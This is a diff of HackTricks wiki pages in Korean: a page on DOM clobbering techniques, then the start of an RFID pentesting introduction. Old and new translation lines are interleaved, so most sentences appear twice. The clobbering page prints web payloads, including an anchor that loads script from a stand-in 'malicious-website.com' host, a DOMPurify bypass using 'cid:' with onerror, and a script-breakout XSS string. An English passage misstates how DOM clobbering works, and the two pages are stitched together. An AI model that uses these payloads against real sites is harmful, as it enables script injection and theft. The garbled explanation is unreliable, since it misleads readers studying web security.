페이지의 HTML을 조작하면 `someObject`를 DOM 노드로 덮어쓸 수 있으며, 이로 인해 보안 취약점이 발생할 수 있습니다. 예를 들어, 악성 스크립트를 가리키는 앵커 요소로 `someObject`를 대체할 수 있습니다:
|
||||
페이지에서 HTML을 조작하면 `someObject`를 DOM 노드로 덮어쓸 수 있어 보안 취약점을 도입할 수 있습니다. 예를 들어, 악성 스크립트를 가리키는 앵커 요소로 `someObject`를 교체할 수 있습니다:
|
||||
```html
|
||||
<a id=someObject href=//malicious-website.com/malicious.js></a>
|
||||
```
|
||||
취약한 코드 예시:
|
||||
|
||||
```javascript
|
||||
var user = {
|
||||
name: "John",
|
||||
age: 25
|
||||
};
|
||||
|
||||
function greet() {
|
||||
console.log("Hello, " + user.name + "!");
|
||||
}
|
||||
|
||||
greet();
|
||||
```
|
||||
|
||||
The `greet()` function takes the `name` property from the `user` object and prints a greeting message. However, if an attacker can control the `name` property, they can inject malicious code into the `greet()` function.
|
||||
|
||||
For example, if the attacker sets the `name` property to `</script><script>alert('XSS');</script>`, the resulting code will be:
|
||||
|
||||
```javascript
|
||||
console.log("Hello, " + </script><script>alert('XSS');</script> + "!");
|
||||
```
|
||||
|
||||
This will cause the browser to execute the injected JavaScript code, resulting in an XSS (Cross-Site Scripting) attack.
|
||||
|
||||
This technique is known as DOM clobbering, where an attacker manipulates the DOM (Document Object Model) by overwriting existing variables or properties. In this case, the attacker overwrites the `name` property of the `user` object to execute their malicious code.
|
||||
|
||||
To prevent DOM clobbering attacks, it is important to properly sanitize and validate user input before using it in dynamic code execution.
|
||||
취약한 코드에서:
|
||||
```html
|
||||
<script>
|
||||
window.onload = function(){
|
||||
|
@ -126,27 +102,27 @@ document.body.appendChild(script);
|
|||
};
|
||||
</script>
|
||||
```
|
||||
이 방법은 스크립트 소스를 이용하여 원하지 않는 코드를 실행하는 것입니다.
|
||||
이 방법은 스크립트 소스를 이용하여 원치 않는 코드를 실행합니다.
|
||||
|
||||
**트릭**: **`DOMPurify`**를 사용하면 **`cid:`** 프로토콜을 사용할 수 있습니다. 이 프로토콜은 **이중 인용부호를 URL 인코딩하지 않습니다**. 이는 런타임에서 디코딩될 **인코딩된 이중 인용부호를 삽입**할 수 있다는 것을 의미합니다. 따라서 **`<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:"onerror=alert(1)//">`**와 같은 것을 삽입하면 HTML 인코딩된 `"`가 **런타임에서 디코딩**되고 속성 값에서 **이스케이프**하여 **`onerror`** 이벤트를 **생성**할 수 있습니다.
|
||||
**트릭**: **`DOMPurify`**는 **`cid:`** 프로토콜을 사용하도록 허용하며, 이는 **이중 따옴표를 URL 인코딩하지 않습니다**. 이는 **런타임에 디코딩될 인코딩된 이중 따옴표를 주입할 수 있음을 의미합니다**. 따라서 **`<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:"onerror=alert(1)//">`**와 같은 것을 주입하면 HTML 인코딩된 `"`가 **런타임에 디코딩되어** 속성 값에서 **탈출**하여 **`onerror`** 이벤트를 **생성**합니다.
|
||||
|
||||
다른 기술로는 **`form`** 요소를 사용하는 것입니다. 일부 클라이언트 사이드 라이브러리는 새로 생성된 폼 요소의 속성을 확인하여 정리합니다. 그러나 폼 내부에 `id=attributes`를 가진 `input`을 추가함으로써 실제 속성에 접근하는 것을 방지하여 소독기가 속성에 접근하지 못하게 할 수 있습니다.
|
||||
또 다른 기술은 **`form`** 요소를 사용합니다. 특정 클라이언트 측 라이브러리는 새로 생성된 폼 요소의 속성을 검사하여 이를 정리합니다. 그러나 폼 안에 `id=attributes`가 있는 `input`을 추가함으로써 속성 속성을 효과적으로 덮어쓰게 되어, 정리기가 실제 속성에 접근하지 못하게 합니다.
|
||||
|
||||
[**이 유형의 clobbering 예시를 이 CTF writeup에서 찾을 수 있습니다**](iframes-in-xss-and-csp.md#iframes-in-sop-2).
|
||||
이 유형의 클로버링 예제를 [**이 CTF 작성물에서 찾을 수 있습니다**](iframes-in-xss-and-csp.md#iframes-in-sop-2).
|
||||
|
||||
## 문서 객체 덮어쓰기
|
||||
## 문서 객체 클로버링
|
||||
|
||||
문서 객체의 속성을 DOM Clobbering을 사용하여 덮어쓸 수 있습니다.
|
||||
문서에 따르면 DOM 클로버링을 사용하여 문서 객체의 속성을 덮어쓸 수 있습니다:
|
||||
|
||||
> [Document](https://html.spec.whatwg.org/multipage/dom.html#document) 인터페이스는 [이름이 지정된 속성](https://webidl.spec.whatwg.org/#dfn-support-named-properties)을 지원합니다. [Document](https://html.spec.whatwg.org/multipage/dom.html#document) 객체의 [지원되는 속성 이름](https://webidl.spec.whatwg.org/#dfn-supported-property-names)은 다음과 같습니다. [트리 순서](https://dom.spec.whatwg.org/#concept-tree-order)에 따라 기여한 요소를 무시하고 나중에 중복된 값은 무시하며, 동일한 요소가 둘 다 기여하는 경우 [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) 속성 값이 name 속성 값보다 먼저 나옵니다:
|
||||
> [문서](https://html.spec.whatwg.org/multipage/dom.html#document) 인터페이스는 [이름이 있는 속성](https://webidl.spec.whatwg.org/#dfn-support-named-properties)을 지원합니다. [문서](https://html.spec.whatwg.org/multipage/dom.html#document) 객체의 [지원되는 속성 이름](https://webidl.spec.whatwg.org/#dfn-supported-property-names)은 다음과 같으며, 이는 기여한 요소에 따라 [트리 순서](https://dom.spec.whatwg.org/#concept-tree-order)로 정렬되며, 나중의 중복은 무시되고, 동일한 요소가 두 가지를 기여할 때는 [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) 속성의 값이 이름 속성의 값보다 먼저 옵니다:
|
||||
>
|
||||
> \- [노출된](https://html.spec.whatwg.org/multipage/dom.html#exposed) [embed](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-embed-element), [form](https://html.spec.whatwg.org/multipage/forms.html#the-form-element), [iframe](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-iframe-element), [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element), [노출된](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) 요소의 name 콘텐츠 속성 값, 비어 있지 않은 name 콘텐츠 속성을 가지고 document 트리에 있는 요소;\
|
||||
> \- 비어 있지 않은 이름 콘텐츠 속성을 가진 모든 [노출된](https://html.spec.whatwg.org/multipage/dom.html#exposed) [embed](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-embed-element), [form](https://html.spec.whatwg.org/multipage/forms.html#the-form-element), [iframe](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-iframe-element), [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element), 및 [노출된](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) 요소의 이름 콘텐츠 속성 값은 문서가 그들의 [루트](https://dom.spec.whatwg.org/#concept-tree-root)인 [문서 트리](https://dom.spec.whatwg.org/#in-a-document-tree)에 있습니다;\
|
||||
> \
|
||||
> \- [노출된](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) 요소의 [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) 콘텐츠 속성 값, 비어 있지 않은 [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) 콘텐츠 속성을 가지고 document 트리에 있는 요소;\
|
||||
> \- 비어 있지 않은 [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) 콘텐츠 속성을 가진 모든 [노출된](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) 요소의 [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) 콘텐츠 속성 값은 문서가 그들의 [루트](https://dom.spec.whatwg.org/#concept-tree-root)인 [문서 트리](https://dom.spec.whatwg.org/#in-a-document-tree)에 있습니다;\
|
||||
> \
|
||||
> \- [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element) 요소의 비어 있지 않은 [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) 콘텐츠 속성과 비어 있지 않은 name 콘텐츠 속성을 모두 가지고 document 트리에 있는 요소.
|
||||
> \- 비어 있지 않은 [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) 콘텐츠 속성과 비어 있지 않은 이름 콘텐츠 속성을 모두 가진 모든 [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element) 요소의 [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) 콘텐츠 속성 값은 문서가 그들의 [루트](https://dom.spec.whatwg.org/#concept-tree-root)인 [문서 트리](https://dom.spec.whatwg.org/#in-a-document-tree)에 있습니다.
|
||||
|
||||
이 기술을 사용하면 **`document.cookie`, `document.body`, `document.children`**과 같이 일반적으로 사용되는 값을 덮어쓸 수 있으며, `document.querySelector`와 같은 Document 인터페이스의 메서드도 덮어쓸 수 있습니다.
|
||||
이 기술을 사용하면 일반적으로 사용되는 **값인 `document.cookie`, `document.body`, `document.children`** 및 `document.querySelector`와 같은 문서 인터페이스의 메서드를 덮어쓸 수 있습니다.
|
||||
```javascript
|
||||
document.write("<img name=cookie />")
|
||||
|
||||
|
@ -165,9 +141,9 @@ HTMLCollection(2) [img, form, cookie: img]
|
|||
typeof(document.cookie)
|
||||
'object
|
||||
```
|
||||
## 요소를 덮어쓴 후에 작성하기
|
||||
## 요소가 클로버링된 후 작성하기
|
||||
|
||||
**`document.getElementById()`**와 **`document.querySelector()`**의 호출 결과는 동일한 id 속성을 가진 `<html>` 또는 `<body>` 태그를 삽입하여 변경할 수 있습니다. 다음은 그 방법입니다:
|
||||
**`document.getElementById()`** 및 **`document.querySelector()`** 호출의 결과는 동일한 id 속성을 가진 `<html>` 또는 `<body>` 태그를 주입함으로써 변경될 수 있습니다. 방법은 다음과 같습니다:
|
||||
```html
|
||||
<div style="display:none" id="cdnDomain" class="x">test</div>
|
||||
<p>
|
||||
|
@ -177,7 +153,7 @@ alert(document.getElementById('cdnDomain').innerText); // Clobbered
|
|||
alert(document.querySelector('.x').innerText); // Clobbered
|
||||
</script>
|
||||
```
|
||||
또한, 주입된 HTML/body 태그를 숨기기 위해 스타일을 사용함으로써 `innerText`의 다른 텍스트로부터의 간섭을 방지할 수 있으므로 공격의 효과를 향상시킬 수 있습니다:
|
||||
또한, 이러한 주입된 HTML/body 태그를 숨기기 위해 스타일을 사용함으로써 `innerText`의 다른 텍스트로 인한 간섭을 방지할 수 있어 공격의 효율성을 높일 수 있습니다:
|
||||
```html
|
||||
<div style="display:none" id="cdnDomain">test</div>
|
||||
<p>existing text</p>
|
||||
|
@ -189,7 +165,7 @@ p{display:none;}
|
|||
alert(document.getElementById('cdnDomain').innerText); // Clobbered
|
||||
</script>
|
||||
```
|
||||
SVG에 대한 조사 결과, `<body>` 태그도 효과적으로 활용할 수 있다는 것이 밝혀졌습니다:
|
||||
SVG에 대한 조사 결과 `<body>` 태그도 효과적으로 활용될 수 있음을 알 수 있습니다:
|
||||
```html
|
||||
<div style="display:none" id="cdnDomain">example.com</div>
|
||||
<svg><body id="cdnDomain">clobbered</body></svg>
|
||||
|
@ -197,7 +173,7 @@ SVG에 대한 조사 결과, `<body>` 태그도 효과적으로 활용할 수
|
|||
alert(document.getElementById('cdnDomain').innerText); // Clobbered
|
||||
</script>
|
||||
```
|
||||
HTML 태그가 Chrome과 Firefox와 같은 브라우저에서 SVG 내에서 작동하려면 `<foreignobject>` 태그가 필요합니다:
|
||||
HTML 태그가 Chrome 및 Firefox와 같은 브라우저의 SVG 내에서 작동하려면 `<foreignobject>` 태그가 필요합니다:
|
||||
```html
|
||||
<div style="display:none" id="cdnDomain">example.com</div>
|
||||
<svg>
|
||||
|
@ -209,9 +185,9 @@ HTML 태그가 Chrome과 Firefox와 같은 브라우저에서 SVG 내에서 작
|
|||
alert(document.getElementById('cdnDomain').innerText); // Clobbered
|
||||
</script>
|
||||
```
|
||||
## 폼 덮어쓰기
|
||||
## Clobbering Forms
|
||||
|
||||
일부 태그 내에서 `form` 속성을 지정함으로써 **폼 내에 새 항목을 추가**할 수 있습니다. 이를 사용하여 **폼 내에 새 값을 추가**하거나 심지어 **새로운 버튼**을 **전송**하는 데 사용할 수 있습니다 (클릭재킹 또는 `.click()` JS 코드를 남용).
|
||||
**양식 안에 새로운 항목을 추가하는 것이 가능합니다** 단지 **일부 태그 안에 `form` 속성을 지정함으로써**. 이를 사용하여 **양식 안에 새로운 값을 추가하고** 심지어 **전송할 새로운 버튼을 추가할 수 있습니다** (클릭재킹 또는 일부 `.click()` JS 코드를 악용하여):
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```html
|
||||
|
@ -225,22 +201,25 @@ Click to send!
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
* [**여기**](https://www.w3schools.com/tags/tag\_button.asp)**에서 더 많은 form 속성을 확인하세요**.
|
||||
* 더 많은 폼 속성은 [**버튼 확인하기**](https://www.w3schools.com/tags/tag\_button.asp)**.**
|
||||
|
||||
## 참고 자료
|
||||
## 참고 문헌
|
||||
|
||||
* [https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering)
|
||||
* [https://portswigger.net/web-security/dom-based/dom-clobbering](https://portswigger.net/web-security/dom-based/dom-clobbering)
|
||||
* Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker.
|
||||
* Heyes, Gareth. 해커를 위한 JavaScript: 해커처럼 생각하는 법 배우기.
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요</strong></a><strong>!</strong></summary>
|
||||
<summary>HackTricks 지원하기</summary>
|
||||
|
||||
* **사이버 보안 회사**에서 일하시나요? **회사를 HackTricks에서 광고하고 싶으신가요**? 아니면 **PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드**하고 싶으신가요? [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter**에서 **팔로우**하세요 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **해킹 트릭을 공유하려면** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **및** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)에 PR을 제출하세요.
|
||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,104 +1,125 @@
|
|||
# RFID 펜테스팅
|
||||
# Pentesting RFID
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* **사이버 보안 회사**에서 일하시나요? **회사를 HackTricks에서 광고**하거나 **PEASS의 최신 버전에 액세스**하거나 **HackTricks를 PDF로 다운로드**하고 싶으신가요? [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인해보세요!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견해보세요. 독점적인 [**NFT**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter**에서 **팔로우**하세요 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **해킹 팁을 공유하려면 PR을** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **및** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **에 제출**하세요.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## 소개
|
||||
## Introduction
|
||||
|
||||
**Radio Frequency Identification (RFID)**는 가장 인기 있는 단거리 무선 솔루션입니다. 일반적으로 개체를 식별하는 정보를 저장하고 전송하는 데 사용됩니다.
|
||||
**무선 주파수 식별(RFID)**는 가장 인기 있는 단거리 무선 솔루션입니다. 일반적으로 엔티티를 식별하는 정보를 저장하고 전송하는 데 사용됩니다.
|
||||
|
||||
RFID 태그는 **자체 전원(액티브)**(내장형 배터리와 같은) 또는 **받은 무선 파동으로부터 유도된 전류**(**패시브**)를 사용하여 읽기 안테나에서 전원을 공급받을 수 있습니다.
|
||||
RFID 태그는 **자체 전원 공급 장치(능동형)**, 즉 내장 배터리에 의존하거나 수신된 전파에서 유도된 전류를 사용하여 판독 안테나로부터 전원을 받을 수 있습니다(**수동형**).
|
||||
|
||||
### 클래스
|
||||
### Classes
|
||||
|
||||
EPCglobal은 RFID 태그를 여섯 가지 범주로 나눕니다. 각 범주의 태그는 이전 범주에 나열된 모든 기능을 갖고 있으므로 하위 호환성을 가집니다.
|
||||
EPCglobal은 RFID 태그를 여섯 가지 범주로 나눕니다. 각 범주의 태그는 이전 범주에 나열된 모든 기능을 갖추고 있어 하위 호환성이 있습니다.
|
||||
|
||||
* **클래스 0** 태그는 **패시브** 태그로, **UHF** 대역에서 작동합니다. 공장에서 제작 시 공급업체가 **미리 프로그램**합니다. 따라서 저장된 정보를 **변경할 수 없습니다**.
|
||||
* **클래스 1** 태그는 **HF** 대역에서도 작동할 수 있습니다. 또한, 제작 후 **한 번만 쓸 수 있습니다**. 많은 클래스 1 태그는 수신한 명령의 **순환 중복 검사**(CRC)를 처리할 수도 있습니다. CRC는 오류 감지를 위해 명령의 끝에 추가된 몇 바이트입니다.
|
||||
* **클래스 2** 태그는 **여러 번 쓸 수 있습니다**.
|
||||
* **클래스 3** 태그에는 현재 온도나 태그의 움직임과 같은 환경 매개 변수를 기록할 수 있는 **내장 센서**가 포함될 수 있습니다. 이러한 태그는 **반 액티브**이며, 내장된 **배터리**와 같은 전원 공급원을 가지고 있지만 다른 태그나 리더와 **무선 통신을 시작할 수 없습니다**.
|
||||
* **클래스 4** 태그는 동일한 클래스의 다른 태그와 통신을 시작할 수 있으므로 **액티브 태그**입니다.
|
||||
* **클래스 5** 태그는 다른 모든 이전 태그 클래스와 **통신하고 다른 태그에 전원을 공급**할 수 있습니다. 클래스 5 태그는 **RFID 리더**로 작동할 수 있습니다.
|
||||
* **Class 0** 태그는 **수동형** 태그로 **UHF** 대역에서 작동합니다. 공급업체가 생산 공장에서 **미리 프로그래밍**합니다. 결과적으로, 이들의 메모리에 저장된 정보를 **변경할 수 없습니다**.
|
||||
* **Class 1** 태그는 **HF** 대역에서도 작동할 수 있습니다. 또한, 생산 후 **한 번만 쓸 수 있습니다**. 많은 Class 1 태그는 수신한 명령의 **순환 중복 검사**(CRC)를 처리할 수 있습니다. CRC는 오류 감지를 위한 명령 끝에 있는 몇 바이트의 추가 데이터입니다.
|
||||
* **Class 2** 태그는 **여러 번 쓸 수 있습니다**.
|
||||
* **Class 3** 태그는 현재 온도나 태그의 움직임과 같은 환경 매개변수를 기록할 수 있는 **내장 센서**를 포함할 수 있습니다. 이러한 태그는 **반수동형**입니다. 왜냐하면 내장 전원 공급 장치(예: 통합 **배터리**)가 있지만 다른 태그나 판독기와 무선 **통신을 시작할 수 없습니다**.
|
||||
* **Class 4** 태그는 동일한 클래스의 다른 태그와 통신을 시작할 수 있어 **능동형 태그**입니다.
|
||||
* **Class 5** 태그는 **다른 태그에 전원을 공급하고 이전 태그** 클래스와 통신할 수 있습니다. Class 5 태그는 **RFID 판독기**로 작동할 수 있습니다.
|
||||
|
||||
### RFID 태그에 저장된 정보
|
||||
### Information Stored in RFID Tags
|
||||
|
||||
RFID 태그의 메모리에는 일반적으로 네 가지 종류의 데이터가 저장됩니다: 태그가 연결된 **개체**를 **식별**하는 **식별 데이터**(이 데이터에는 은행 계좌와 같은 사용자 정의 필드가 포함됨); 개체에 대한 **추가 정보**를 제공하는 **보충 데이터**; 태그의 내부 **구성**에 사용되는 **제어 데이터**; 태그의 **제조업체 데이터**로, 태그의 고유 식별자(**UID**)와 제조, 유형 및 공급업체에 대한 세부 정보를 포함합니다. 상업용 태그에서는 첫 두 종류의 데이터를 모두 찾을 수 있으며, 마지막 두 종류는 태그의 공급업체에 따라 다를 수 있습니다.
|
||||
RFID 태그의 메모리는 일반적으로 네 가지 종류의 데이터를 저장합니다: **식별 데이터**, 이는 태그가 부착된 **엔티티**를 **식별**합니다(이 데이터에는 사용자 정의 필드, 예: 은행 계좌가 포함됨); **보조 데이터**, 이는 엔티티에 대한 **추가** **세부정보**를 제공합니다; **제어 데이터**, 태그의 내부 **구성**에 사용됩니다; 그리고 태그의 **제조업체 데이터**, 이는 태그의 고유 식별자(**UID**)와 태그의 **생산**, **유형**, 및 **공급업체**에 대한 세부정보를 포함합니다. 상업용 태그의 경우 첫 번째 두 가지 데이터는 모두 포함되어 있으며, 마지막 두 가지는 태그의 공급업체에 따라 다를 수 있습니다.
|
||||
|
||||
ISO 표준은 태그가 속하는 **객체의 종류**를 나타내는 코드인 **Application Family Identifier (AFI)** 값을 지정합니다. ISO에서 지정한 또 다른 중요한 레지스터는 **Data Storage Format Identifier (DSFID)**로, 사용자 데이터의 **논리적 구성**을 정의합니다.
|
||||
ISO 표준은 태그가 속한 **객체의 종류**를 나타내는 코드인 응용 프로그램 가족 식별자(**AFI**) 값을 지정합니다. ISO에서 지정한 또 다른 중요한 레지스터는 데이터 저장 형식 식별자(**DSFID**)로, 이는 **사용자 데이터의 논리적 구성**을 정의합니다.
|
||||
|
||||
대부분의 RFID **보안 제어**는 각 사용자 메모리 블록 및 AFI 및 DSFID 값을 포함하는 특수 레지스터에 대한 **읽기** 또는 **쓰기** 작업을 **제한**하는 메커니즘을 갖고 있습니다. 이러한 **잠금** 메커니즘은 제어 메모리에 저장된 데이터를 사용하며, 공급업체가 미리 구성한 **기본 암호**를 사용하지만 태그 소유자가 **사용자 정의 암호를 구성**할 수 있습니다.
|
||||
대부분의 RFID **보안 제어**는 각 사용자 메모리 블록 및 AFI와 DSFID 값을 포함하는 특수 레지스터에 대한 **읽기** 또는 **쓰기** 작업을 **제한**하는 메커니즘을 가지고 있습니다. 이러한 **잠금** **메커니즘**은 제어 메모리에 저장된 데이터를 사용하며 공급업체가 미리 구성한 **기본 비밀번호**를 사용하지만 태그 소유자가 **사용자 정의 비밀번호를 구성할 수 있도록** 허용합니다.
|
||||
|
||||
### 저주파 및 고주파 태그 비교
|
||||
### Low & High frequency tags comparison
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (27).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## 저주파 RFID 태그 (125kHz)
|
||||
## Low-Frequency RFID Tags (125kHz)
|
||||
|
||||
**저주파 태그**는 주로 **높은 보안이 필요하지 않은 시스템**에서 사용됩니다: 건물 출입, 인터콤 키, 체육관 멤버십 카드 등. 더 높은 범위로 인해 유료 주차장에 사용하기 편리합니다: 운전자는 카드를 판독기에 가까이 가져가지 않아도 되므로 더 멀리서 트리거됩니다. 동시에, 저주파 태그는 매우 원시적이며 데이터 전송 속도가 낮습니다. 이러한 이유로 잔액 유지 및 암호화와 같은 복잡한 양방향 데이터 전송을 구현할 수 없습니다. 저주파 태그는 인증 수단 없이 짧은 ID만 전송합니다.
|
||||
**저주파 태그**는 종종 **높은 보안이 필요하지 않은** 시스템에서 사용됩니다: 건물 출입, 인터콤 키, 체육관 회원 카드 등. 더 높은 범위 덕분에 유료 주차에 사용하기 편리합니다: 운전자는 카드를 판독기에 가까이 가져갈 필요가 없으며, 더 멀리서도 작동합니다. 동시에 저주파 태그는 매우 원시적이며 데이터 전송 속도가 낮습니다. 이러한 이유로 잔액 유지 및 암호화와 같은 복잡한 양방향 데이터 전송을 구현할 수 없습니다. 저주파 태그는 인증 수단 없이 짧은 ID만 전송합니다.
|
||||
|
||||
이러한 장치는 **패시브 RFID** 기술을 기반으로 하며, **30 kHz에서 300 kHz**의 범위에서 작동하지만 일반적으로 125 kHz에서 134 kHz를 사용합니다:
|
||||
이 장치는 **수동형** **RFID** 기술에 의존하며 **30 kHz에서 300 kHz** 범위에서 작동하지만 일반적으로 125 kHz에서 134 kHz를 사용합니다:
|
||||
|
||||
* **장거리** - 낮은 주파수는 더 긴 범위로 변환됩니다. 약 1미터 거리에서 작동하는 EM-Marin 및 HID 판독기가 있습니다. 이러한 판독기는 주로 주차장에서 사용됩니다.
|
||||
* **원시적인 프로토콜** - 데이터 전송 속도가 낮기 때문에 이러한 태그는 짧은 ID만 전송할 수 있습니다. 대부분의 경우 데이터는 인증되지 않으며 어떠한 방식으로도 보호되지 않습니다. 카드가 판독기의 범위에 들어가면 즉시 ID를 전송하기 시작합니다.
|
||||
* **낮은 보안성** - 이 카드는 쉽게 복제되거나 프로토콜의 원시성으로 인해 다른 사람의 주머니에서도 읽을 수 있습니다.
|
||||
* **긴 범위** — 낮은 주파수는 더 높은 범위로 이어집니다. EM-Marin 및 HID 판독기가 있으며, 최대 1미터 거리에서 작동합니다. 이러한 태그는 종종 주차장에서 사용됩니다.
|
||||
* **원시 프로토콜** — 낮은 데이터 전송 속도로 인해 이러한 태그는 짧은 ID만 전송할 수 있습니다. 대부분의 경우 데이터는 인증되지 않으며 어떤 방식으로도 보호되지 않습니다. 카드가 판독기의 범위에 들어가면 ID를 전송하기 시작합니다.
|
||||
* **낮은 보안** — 이러한 카드는 쉽게 복사되거나 심지어 다른 사람의 주머니에서 읽힐 수 있습니다.
|
||||
|
||||
**인기 있는 125 kHz 프로토콜:
|
||||
## 고주파 RFID 태그 (13.56 MHz)
|
||||
**인기 있는 125 kHz 프로토콜:**
|
||||
|
||||
**고주파 태그**는 암호화, 양방향 데이터 전송, 인증 등 복잡한 리더-태그 상호작용이 필요한 경우에 사용됩니다.\
|
||||
이는 일반적으로 은행 카드, 대중 교통 및 기타 보안 패스에서 찾을 수 있습니다.
|
||||
* **EM-Marin** — EM4100, EM4102. CIS에서 가장 인기 있는 프로토콜입니다. 단순성과 안정성 덕분에 약 1미터 거리에서 읽을 수 있습니다.
|
||||
* **HID Prox II** — HID Global에서 도입한 저주파 프로토콜입니다. 이 프로토콜은 서구 국가에서 더 인기가 있습니다. 더 복잡하며 이 프로토콜에 대한 카드와 판독기는 상대적으로 비쌉니다.
|
||||
* **Indala** — Motorola에서 도입한 매우 오래된 저주파 프로토콜로, 이후 HID에 인수되었습니다. 이전 두 프로토콜에 비해 실제로는 덜 자주 접할 수 있습니다.
|
||||
|
||||
